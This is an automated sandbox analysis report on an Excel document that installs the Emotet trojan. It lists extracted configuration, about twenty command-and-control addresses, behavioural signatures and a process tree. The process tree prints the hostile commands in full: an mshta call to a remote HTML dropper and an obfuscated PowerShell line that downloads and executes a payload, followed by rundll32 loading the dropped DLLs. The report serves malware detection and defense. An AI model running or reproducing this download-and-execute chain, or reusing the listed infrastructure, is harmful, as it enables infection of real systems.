Analysis

  • max time kernel
    140s
  • max time network
    155s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    30/01/2022, 20:28

General

  • Target
    2022-1-29-6a16e936fd02c2b7c1e96287a9ad6e66.xls
  • Size 85KB
  • Sample220130-y845baabfk
  • SHA256 44b786309bdd67b3647a3ea326f9d100facd9ce81560206238c018742037ad2c
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.172/gg/ff/fe.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.172/gg/ff/fe.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 160.16.102.168:80

  • 131.100.24.231:80

  • 200.17.134.35:7080

  • 207.38.84.195:8080

  • 212.237.56.116:7080

  • 58.227.42.236:80

  • 104.251.214.46:8080

  • 158.69.222.101:443

  • 192.254.71.210:443

  • 46.55.222.11:443

  • 45.118.135.203:7080

  • 107.182.225.142:8080

  • 103.75.201.2:443

  • 104.168.155.129:8080

  • 195.154.133.20:443

  • 159.8.59.82:8080

  • 110.232.117.186:8080

  • 45.142.114.231:8080

  • 41.76.108.46:8080

  • 203.114.109.124:443

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2022-1-29-6a16e936fd02c2b7c1e96287a9ad6e66.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2696
    • C:\Windows\SYSTEM32\CMD.EXE
      CMD.EXE /c mshta http://91.240.118.172/gg/ff/fe.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1640
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.172/gg/ff/fe.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:2216
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.172/gg/ff/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1440
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:364
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2908
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\JooSee.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:3864
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cgxwpb\vuyb.yop",gngTnqYOj
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1792
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cgxwpb\vuyb.yop",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1048
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 2216 -s 1668
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2760

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/1048-640-0x0000000000BF0000-0x0000000000C15000-memory.dmp

        memory/1048-677-0x0000000004D70000-0x0000000004D95000-memory.dmp

        memory/1048-671-0x00000000049A0000-0x00000000049C5000-memory.dmp

        memory/1048-669-0x00000000048C0000-0x00000000048E5000-memory.dmp

        memory/1048-679-0x0000000004DF0000-0x0000000004E15000-memory.dmp

        memory/1048-673-0x0000000004A80000-0x0000000004AA5000-memory.dmp

        memory/1048-675-0x0000000004B80000-0x0000000004BA5000-memory.dmp

        memory/1440-280-0x000001CD6AF50000-0x000001CD6AF72000-memory.dmp

        memory/1440-289-0x000001CD69520000-0x000001CD69550000-memory.dmp

        memory/1440-290-0x000001CD69520000-0x000001CD69550000-memory.dmp

        memory/1440-301-0x000001CD6BB10000-0x000001CD6BB4C000-memory.dmp

        memory/1440-317-0x000001CD69520000-0x000001CD69550000-memory.dmp

        memory/1440-312-0x000001CD6BBD0000-0x000001CD6BC46000-memory.dmp

        memory/1792-636-0x00000000034A0000-0x00000000034C5000-memory.dmp

        memory/2696-122-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

        memory/2696-119-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

        memory/2696-120-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

        memory/2696-121-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

        memory/2696-132-0x00007FF7DCCC0000-0x00007FF7DCCD0000-memory.dmp

        memory/2696-131-0x00007FF7DCCC0000-0x00007FF7DCCD0000-memory.dmp

        memory/2696-118-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

        memory/2696-661-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

        memory/2696-662-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

        memory/2696-663-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

        memory/2696-664-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

        memory/2908-620-0x00000000044F0000-0x0000000004515000-memory.dmp

        memory/3864-629-0x0000000004B30000-0x0000000004B55000-memory.dmp

        memory/3864-639-0x0000000004D80000-0x0000000004DA5000-memory.dmp

        memory/3864-633-0x0000000004BF0000-0x0000000004C15000-memory.dmp

        memory/3864-624-0x00000000043C0000-0x00000000043E5000-memory.dmp

        memory/3864-631-0x0000000004B90000-0x0000000004BB5000-memory.dmp

        memory/3864-622-0x0000000000E61000-0x0000000000E82000-memory.dmp